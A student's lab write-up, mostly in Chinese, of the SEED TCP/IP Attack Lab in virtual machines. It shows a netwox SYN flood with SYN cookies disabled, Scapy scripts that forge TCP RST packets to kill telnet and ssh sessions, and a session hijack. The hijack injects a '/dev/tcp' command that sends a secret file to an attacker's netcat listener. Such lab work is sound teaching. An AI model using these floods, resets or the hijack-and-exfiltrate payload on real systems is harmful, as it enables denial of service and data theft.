TCP/IP Attack Lab

Task 1

```
[09/11/20]seed@VM:~/lab/lab4_task1$ sudo sysctl -a | grep cookie
net.ipv4.tcp_syncookies = 1
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.enp0s3.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[09/11/20]seed@VM:~/lab/lab4_task1$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
```

首先将相应的保护措施关闭。

```
[09/11/20]seed@VM:~/lab/lab4_task1$ telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
Escape character is '^]'.
Ubuntu 18.04.4 LTS
bwhe-VirtualBox login: bwhe
Password:
Last login: Thu Sep 10 11:37:09 CST 2020 from 10.0.2.6 on pts/1
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-47-generic x86_64)
```

未发动攻击时，telnet 可以连接

```
[09/11/20]seed@VM:~$ sudo netwox 76 -i 10.0.2.4 -p 23 -s raw
```

```
[09/11/20]seed@VM:~/lab/lab4_task1$ telnet 10.0.2.4
Trying 10.0.2.4...
```

发动攻击后，telnet 已经连接不上

```
bwhe@bwhe-VirtualBox:~$ netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:53888          151.101.10.49:443       ESTABLISHED
tcp        0      0 10.0.2.4:37060          8.43.85.13:443          ESTABLISHED
tcp6       0      0 :::23                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
tcp6       0      0 10.0.2.4:23             250.61.54.242:14711     SYN_RECV
tcp6       0      0 10.0.2.4:23             240.146.75.210:15125    SYN_RECV
tcp6       0      0 10.0.2.4:23             0.102.145.146:21397     SYN_RECV
tcp6       0      0 10.0.2.4:23             244.70.5.10:41681       SYN_RECV
tcp6       0      0 10.0.2.4:23             246.185.82.129:51630    SYN_RECV
tcp6       0      0 10.0.2.4:23             240.88.225.96:39731     SYN_RECV
tcp6       0      0 10.0.2.4:23             248.240.158.233:52917   SYN_RECV
tcp6       0      0 10.0.2.4:23             240.99.73.176:14140     SYN_RECV
tcp6       0      0 10.0.2.4:23             250.2.46.22:57793       SYN_RECV
tcp6       0      0 10.0.2.4:23             245.36.194.238:2400     SYN_RECV
tcp6       0      0 10.0.2.4:23             250.19.135.193:17019    SYN_RECV
tcp6       0      0 10.0.2.4:23             242.24.95.3:18369       SYN_RECV
tcp6       0      0 10.0.2.4:23             247.227.5.49:58887      SYN_RECV
tcp6       0      0 10.0.2.4:23             240.208.82.85:31465     SYN_RECV
tcp6       0      0 10.0.2.4:23             0.67.219.218:30207      SYN_RECV
```

攻击对象检测存在大量的等待 SYN 报文的半连接状态

```
bwhe@bwhe-VirtualBox:~$ sudo sysctl -w net.ipv4.tcp_syncookies=1
[sudo] password for bwhe:
Sorry, try again.
[sudo] password for bwhe:
net.ipv4.tcp_syncookies = 1
```

打开相关保护措施之后

```
[09/11/20]seed@VM:~/lab/lab4_task1$ telnet 10.0.2.4
Trying 10.0.2.4...
telnet: Unable to connect to remote host: Connection timed out
[09/11/20]seed@VM:~/lab/lab4_task1$ telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
Escape character is '^]'.
Ubuntu 18.04.4 LTS
bwhe-VirtualBox login: bwhe
Password:
Last login: Sat Sep 12 09:09:50 CST 2020 from 10.0.2.5 on pts/1
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-47-generic x86_64)

 * Documentation:  https://help.ubuntu.com
```

telnet 连接成功

Task 2

```
[09/11/20]seed@VM:~$ sudo netwox 78 -f "tcp" -s raw
```

攻击代码如上图

```
 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

106 packages can be updated.
1 update is a security update.

Your Hardware Enablement Stack (HWE) is supported until April 2023.
bwhe@bwhe-VirtualBox:~$ hConnection closed by foreign host.
```

telnet 连接被迅速关闭

```
#!/usr/bin/python
from scapy.all import *
ip = IP(src="10.0.2.4", dst="10.0.2.6")
tcp = TCP(sport=23, dport=46270, flags="R", seq=3077369787)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
~
```

攻击代码如上图所示

```
Your Hardware Enablement Stack (HWE) is supported until April 2023.
bwhe@bwhe-VirtualBox:~$
bwhe@bwhe-VirtualBox:~$ sssdConnection closed by foreign host.
```

telnet 连接被迅速关闭

进行 ssh 相关配置之后，成功登陆进入

```
[09/11/20]seed@VM:~$ ssh tmp@10.0.2.4
tmp@10.0.2.4's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-47-generic x86_64)
```

```
$ ls
bin    dev   initrd.img      lib64       mnt   root  snap      sys  var
boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz
cdrom  home  lib             media       proc  sbin  swapfile  usr  vmlinuz.old
$ spacket_write_wait: Connection to 10.0.2.4 port 22: Broken pipe
[09/11/20]seed@VM:~$
```

再次利用刚刚的 netwox 攻击方式，连接被迅速关闭

```
#!/usr/bin/python
from scapy.all import *
ip = IP(src="10.0.2.4", dst="10.0.2.6")
tcp = TCP(sport=22, dport=53380, flags="R", seq=955592983)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
~
~
~
```

再利用 Scapy 进行攻击

```
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Sep 12 10:01:41 2020 from 10.0.2.6
Could not chdir to home directory /home/tmp: No such file or directory
$ 22packet_write_wait: Connection to 10.0.2.4 port 22: Broken pipe
[09/11/20]seed@VM:~$
```

同样连接被迅速关闭

Task 4

通过 wireshark 观察 ACK 报文的相关信息

```
▸ Ethernet II, Src: PcsCompu_2a:05:36 (08:00:27:2a:05:36), Dst: PcsCompu_a2:51:7c (08:00:27:a2:51:7c)
▸ Internet Protocol Version 4, Src: 10.0.2.6, Dst: 10.0.2.4
▾ Transmission Control Protocol, Src Port: 46300, Dst Port: 23, Seq: 78279433, Ack: 3839892842, Len: 0
    Source Port: 46300
    Destination Port: 23
    [Stream index: 0]
```

```
#!/usr/bin/python
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.4")
tcp = TCP(sport=46300, dport=23, flags="A", seq=78279433, ack=3839892842)
data = "\r cat ~/secret > /dev/tcp/10.0.2.5/9090\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)
~
~
```

相应伪造报文如上图所示

```
[09/11/20]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.4] port 9090 [tcp/*] accepted (family 2, sport 59772)
HBW is so smart
```

结果如上图所示